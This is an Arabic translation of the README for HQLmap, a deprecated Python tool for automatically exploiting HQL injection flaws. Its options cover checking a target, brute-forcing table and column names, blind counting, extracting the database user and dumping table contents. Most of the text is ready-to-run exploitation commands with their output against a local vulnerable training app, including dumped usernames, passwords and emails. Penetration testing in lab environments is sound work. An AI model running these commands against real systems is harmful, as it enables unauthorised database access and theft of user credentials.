
(مُهمَل) HQLmap، أداة تلقائية لاستغلال حقن HQL
تم إنشاء هذا المشروع لاستغلال ثغرات HQL Injections.
تمت كتابة الأداة بلغة Python وهي مُصدرة بموجب رخصة MIT.
التطوير المستقبلي: لديّ في الاعتبار تطوير وحدة خاصة بـ SQLmap.
إذا كنت تريد بيئة ضعيفة سريعة يمكنك تجربة الأداة فيها، أنصحك باستخدام RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/
علاوة على ذلك، إذا كنت تريد مزيدًا من المعلومات حول HQLi، راجع منشور المدونة هذا: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html
لتثبيت هذا المشروع، يكفي فقط استنساخه عن طريق كتابة:
git clone [email protected]:PaulSec/HQLmap.git
لاستخدام هذا المشروع، انتقل إلى المجلد:
cd HQLmap
ثم شغّل المشروع:
python HQLmap.py
سيتم بعدها عرض طريقة الاستخدام:
Usage: HQLmap.py [options]
Options:
-h, --help show this help message and exit
--url=URL qURL to pentest
--cookie=COOKIE Cookie to test it
--param=PARAM Param to test
--postdata=POSTDATA Postdata (POST Method)
--message=BLIND_HQLI_MESSAGE
Message appearing while Blind HQLi
--tables Tries to gather as much tables as possible (With
Bruteforce)
--T=TABLE Name of the table you want to get
--table_name_file=FILE_TABLE
DB file for name of tables
--columns Tries to gather as much columns as possible (With
Bruteforce)
--C=COLUMN Name of the column you want to get
--column_name_file=FILE_COLUMN
DB file for name of columns
--check Check if host is vulnerable
--user Tries to get user() from dbms
--count Get count of specified table(s)
--dump Dump specified table(s) / column(s)
--results Enumerate results after session
--verbose Verbose mode
يتضمن هذا الجزء سيناريوهات مختلفة.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check
الناتج بسيط جدًا:
Host seems vulnerable.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables
إليك الناتج:
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
عند القيام بمثل هذا التعداد، يستخدم الماسح الضوئي الملف الافتراضي لأسماء الجداول إذا لم يتم تحديد واحد.
الملف الافتراضي هو: db/tables.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
عند إجراء هذا التعداد، يستخدم الماسح الضوئي الملف الافتراضي لأسماء الجداول ولأسماء الأعمدة أيضًا.
الملفات الافتراضية هي:
للجداول: db/tables.db
للأعمدة: db/columns.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo
والناتج:
[-] Table foo does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns
والناتج:
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar
والناتج:
[!] Table User has been found.
[-] Column bar in User does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count
أو لجميع الجداول:
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count
والناتج:
[!] Table User has been found.
[!] Count(*) of User : 3
للقيام بمثل هذا الإجراء، تحتاج إلى تحديد جدول (أو كل الجداول باستخدام العلم --tables) وإضافة العلم --user بهذه الطريقة:
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user
والناتج (بعد بضع ثوانٍ):
[!] Table User has been found.
[!] Username of Database found : SA
لاسترجاع المستخدم، نفّذت خوارزمية مشابهة جدًا لتقنية الانقسام الثنائي «المتغير».
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump
والناتج:
(redacted)
[Task]
[Name]
- Bob's shopping
- Alice's shopping
[Task]
[User_Id]
- 1
- 2
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
(redacted)
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump
والناتج:
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
[User]
[Password]
- password
- password
- password
[User]
[Email]
- [email protected]
- [email protected]
- [email protected]
[User]
[Firstname]
- Robert
- Alice
- Administrator
[User]
[Lastname]
- McBride
- O'Reilly
- Reynolds
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump
والناتج:
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
[username]
- bob
- alice
- admin
لا تتردد في تقديم ملاحظاتك وطلب ميزات جديدة.
المشروع مُصدر بموجب رخصة MIT.